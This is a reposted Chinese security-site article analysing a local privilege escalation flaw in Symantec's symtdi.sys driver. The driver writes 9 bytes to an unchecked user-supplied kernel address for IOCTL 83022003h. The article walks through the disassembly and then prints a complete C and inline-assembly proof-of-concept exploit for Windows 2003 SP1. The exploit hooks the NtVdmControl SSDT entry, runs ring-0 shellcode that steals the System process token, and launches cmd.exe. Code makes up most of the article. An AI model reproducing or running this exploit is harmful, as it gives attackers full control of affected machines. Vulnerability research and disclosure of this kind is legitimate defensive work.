为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

symtdi.sys本地权限提升漏洞

2009-2-12 05:17| 投稿: security

摘要:  文章作者:shadow3-NE365 (shadow3_at_dark2s.org)文章来自: 安全焦点 最近通过反汇编分析发现了一个 symantec ...
 文章作者:shadow3-NE365 (shadow3_at_dark2s.org)文章来自: 安全焦点 最近通过反汇编分析发现了一个 symantec 的漏洞,这个漏洞是在 symtdi.sys 中存在的,由于驱动程序中处理 IRP_MJ_DEVICE_CONTROL 例程没有检查用户传入的缓冲区地址的合法性,造成任意内核地址可写的漏洞,用户可以发送恶意的 DeviceIoControl 的来完全的控制计算机。 在 symtdi.sys 中,以下代码用来处理IRP_MJ_DEVICE_CONTROL请求 loc_387C0: ; CODE XREF: sub_38736+6C\u0018j.text:000387C0 cmp dword_4B258, 0.text:000387C7 jz short loc_387EF.text:000387C7.text:000387C9 call KeGetCurrentIrql.text:000387C9.text:000387CE and eax, 0FFh.text:000387D3 test eax, eax.text:000387D5 jnz short loc_387EF.text:000387D5.text:000387D7 call sub_37B5F.text:000387D7.text:000387DC test eax, eax.text:000387DE jz short loc_387EF.text:000387DE.text:000387E0 mov dword_4B258, 0.text:000387EA call sub_37B9A.text:000387EA.text:000387EF.text:000387EF loc_387EF: ; CODE XREF: sub_38736+91\u0018j.text:000387EF ; sub_38736+9F\u0018j.text:000387EF ; sub_38736+A8\u0018j.text:000387EF mov ecx, [ebp+var_20].text:000387F2 mov edx, [ecx+0Ch].text:000387F5 mov [ebp+var_38], edx.text:000387F8 mov eax, [ebp+var_38].text:000387FB shr eax, 10h.text:000387FE mov [ebp+var_44], eax.text:00038801 cmp [ebp+var_44], 8302h.text:00038808 jnz loc_3983C.text:00038808.text:0003880E cmp [ebp+var_38], 83022227h.text:00038815 jnb short loc_38854.text:00038815.text:00038817 cmp dword_4B0DC, 0.text:0003881E jnz short loc_38842.text:0003881E.text:00038820 call ds:KeEnterCriticalRegion.text:00038826 mov ecx, offset stru_4B060 ; FastMutex.text:0003882B call ds:ExAcquireFastMutexUnsafe.text:00038831 mov ecx, offset stru_4B060 ; FastMutex.text:00038836 call ds:ExReleaseFastMutexUnsafe.text:0003883C call ds:KeLeaveCriticalRegion.text:0003883C.text:00038842.text:00038842 loc_38842: ; CODE XREF: sub_38736+E8\u0018j.text:00038842 cmp dword_4B258, 0.text:00038849 jnz short loc_38854.text:00038849.text:0003884B mov ecx, [ebp+var_38].text:0003884E push ecx.text:0003884F call sub_16E17.text:0003884F.text:00038854.text:00038854 loc_38854: ; CODE XREF: sub_38736+DF\u0018j.text:00038854 ; sub_38736+113\u0018j 以下开始处理 ControlCode,他们基本都被定义为 METHOD_NEITHER 这种方式 .text:00038854 mov edx, [ebp+var_38] ; edx = ControlCode.text:00038857 mov [ebp+var_F0], edx.text:0003885D cmp [ebp+var_F0], 830221E7h.text:00038867 ja loc_38985 ; 如果ConrolCode > 830221E7h 则跳转.text:00038867.text:0003886D cmp [ebp+var_F0], 830221E7h.text:00038877 jz loc_38F5E.text:00038877.text:0003887D cmp [ebp+var_F0], 830221BFh.text:00038887 ja loc_38952.text:00038887.text:0003888D cmp [ebp+var_F0], 830221BFh.text:00038897 jz loc_38C2C.text:00038897.text:0003889D cmp [ebp+var_F0], 830221A7h.text:000388A7 ja short loc_3891F.text:000388A7.text:000388A9 cmp [ebp+var_F0], 830221A7h.text:000388B3 jz loc_38BB0.text:000388B3.text:000388B9 cmp [ebp+var_F0], 8302219Ah.text:000388C3 ja short loc_388FA.text:000388C3.text:000388C5 cmp [ebp+var_F0], 8302219Ah.text:000388CF jz loc_38E15.text:000388CF.text:000388D5 cmp [ebp+var_F0], 83022003h.text:000388DF jz loc_38B49 ; 注意这里.text:000388DF.text:000388E5 cmp [ebp+var_F0], 83022196h.text:000388EF jz loc_38DD5.text:000388EF.text:000388F5 jmp loc_392EE 其上的很多控制码都存在问题,当然最好利用的控制码就是 83022003h 了,我们来看看symtdi.sys 中如何处理 83022003h loc_38B49: ; CODE XREF: sub_38736+1A9\u0018j.text:00038B49 mov ecx, [ebp+Irp].text:00038B4C mov edx, [ecx+3Ch] ; edx = irp->UserBuffer.text:00038B4F mov [ebp+var_24], edx.text:00038B52 mov eax, [ebp+var_20].text:00038B55 mov ecx, [eax+4].text:00038B58 mov [ebp+var_40], ecx.text:00038B5B mov edx, [ebp+var_40].text:00038B5E push edx.text:00038B5F mov eax, [ebp+var_24].text:00038B62 push eax.text:00038B63 call sub_3B7B0 sub_3B7B0 proc near ; CODE XREF: sub_38736+42D\u0018p.text:0003B7B0.text:0003B7B0 var_4 = dword ptr -4.text:0003B7B0 arg_0 = dword ptr 8.text:0003B7B0 arg_4 = dword ptr 0Ch.text:0003B7B0.text:0003B7B0 push ebp.text:0003B7B1 mov ebp, esp.text:0003B7B3 push ecx.text:0003B7B4 mov [ebp+var_4], 0.text:0003B7BB cmp [ebp+arg_0], 0.text:0003B7BF jz short loc_3B7EB.text:0003B7BF.text:0003B7C1 cmp [ebp+arg_4], 9.text:0003B7C5 jb short loc_3B7EB.text:0003B7C5.text:0003B7C7 mov eax, [ebp+arg_0] ; eax = irp->UserBuffer 以前没有对irp->UserBuffer进行任何检查 .text:0003B7CA mov ecx, dword_45544.text:0003B7D0 mov [eax], ecx ; 以下是对UserBuffer进行写操作,一共写入了9字节,形成了任意内核地址可写的漏洞 .text:0003B7D2 mov edx, dword_45548.text:0003B7D8 mov [eax+4], edx.text:0003B7DB mov cl, byte_4554C.text:0003B7E1 mov [eax+8], cl.text:0003B7E4 mov [ebp+var_4], 9.text:0003B7E4.text:0003B7EB.text:0003B7EB loc_3B7EB: ; CODE XREF: sub_3B7B0+F\u0018j.text:0003B7EB ; sub_3B7B0+15\u0018j.text:0003B7EB mov eax, [ebp+var_4].text:0003B7EE mov esp, ebp.text:0003B7F0 pop ebp.text:0003B7F1 retn 8.text:0003B7F1.text:0003B7F1 sub_3B7B0 endp 看完代码,我们大家已经很清楚地知道了这个漏洞如何利用,我们可以去Hook一个SSDT上的函数,在我们进行调用被Hook的函数时,有机会让我们的ring0代码得到运行,Hook的函数我依旧选择 NtVdmControl,虽然这里覆盖了9字节的数据,但是由于NtVdmControl后面的一个函数也为一个不常用的api,所以我们的exploit可以保证%80以上的有效率,但是一定要在调用ring 0代码的时候进行一些现场恢复,不然一定会死的比较难看的。 poc代码: #include <stdio.h>#include <windows.h> #pragma comment (lib, "ntdll.lib") typedef LONG NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef struct _IMAGE_FIXUP_ENTRY { WORD offset:12;WORD type:4;} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; typedef struct _UNICODE_STRING { USHORT Length;USHORT MaximumLength;PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING; extern "C"NTSTATUS NTAPINtAllocateVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN OUT PULONG AllocationSize,IN ULONG AllocationType,IN ULONG Protect); int main(int argc, char* argv[]){NTSTATUS status;HANDLE deviceHandle;DWORD dwReturnSize = 0;PVOID VdmControl = NULL; PVOID ShellCodeMemory = (PVOID)0x2E352E35;DWORD MemorySize = 0x2000; PROCESS_INFORMATION pi;STARTUPINFOA stStartup; OSVERSIONINFOEX OsVersionInfo; RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo); if ( OsVersionInfo.dwMajorVersion != 5 ) { printf( "Not NT5 system\n" );ExitProcess( 0 );return 0;} if ( OsVersionInfo.dwMinorVersion != 2 ) { printf( "isn't windows 2003 system\n" );ExitProcess( 0 );return 0;} printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );printf( "\tCoded by shadow3\n\n" ); status = NtAllocateVirtualMemory( (HANDLE)-1, &ShellCodeMemory,0, &MemorySize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE );if ( status != STATUS_SUCCESS ) { printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );return 0;} memset( ShellCodeMemory, 0x90, MemorySize ); __asm { call CopyShellCode nopnopnopnopnopnop //// 恢复SSDT保证系统能够正常运行///*mov edi, 0x80827D54mov [edi], 0x808C998Amov [edi+4], 0x809ba123mov [edi+8], 0x80915CBE*/ // ntoskrnl.exe mov edi, 0x8083100C// mov [edi], 0x808C998Amov [edi+4], 0x809970CC // ntkrnlpa.exe versionmov [edi+8], 0x8092FF3E mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)mov eax,[eax] mov esi,[eax+0x218]mov eax,esi search2k3sp1: mov eax,[eax+0x98]sub eax,0x98mov edx,[eax+0x94]cmp edx,0x4 // Find System Processjne search2k3sp1 mov eax,[eax+0xd8] // 获取system进程的tokenmov [esi+0xd8],eax // 修改当前进程的token ret 8 CopyShellCode: pop esilea ecx, CopyShellCodesub ecx, esi mov edi,0x2E352E35cldrep movsb } deviceHandle = CreateFile("\\\\.\\Symtdi",0,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if ( INVALID_HANDLE_VALUE == deviceHandle ) { printf( "Open Symtdi device failed, code: %d\n", GetLastError() );return 0;} else { printf( "Open Symtdi device success\n" );} DeviceIoControl( deviceHandle, 0x83022003, NULL,0,(PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,0xC,&dwReturnSize, NULL ); CloseHandle( deviceHandle ); VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );if ( VdmControl == NULL ) { printf( "VdmControl == NULL\n" );return 0;} printf( "call shellcode ... " ); _asm { xor ecx,ecxpush ecxpush ecxmov eax, VdmControlcall eax} printf( "Done.\n" );printf( "Create New Process\n" ); GetStartupInfo( &stStartup ); CreateProcess( NULL,"cmd.exe",NULL,NULL,TRUE,NULL,NULL,NULL,&stStartup,&pi ); return 0;} 在发现这个漏洞的兴奋之余,我上网搜索了一下 symtdi.sys,发现在今年3月份国外已经有人发现了这个漏洞,不过报告为拒绝服务,然而厂商估计是因为这个漏洞的安全级别比较低,也没有对这个漏洞进行修补,希望安全厂商能够报着为用户负责的心态尽快修补该漏洞,如果对以上还有什么问题请发送邮件到 Polymorphours@gmail.com联系我,谢谢

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部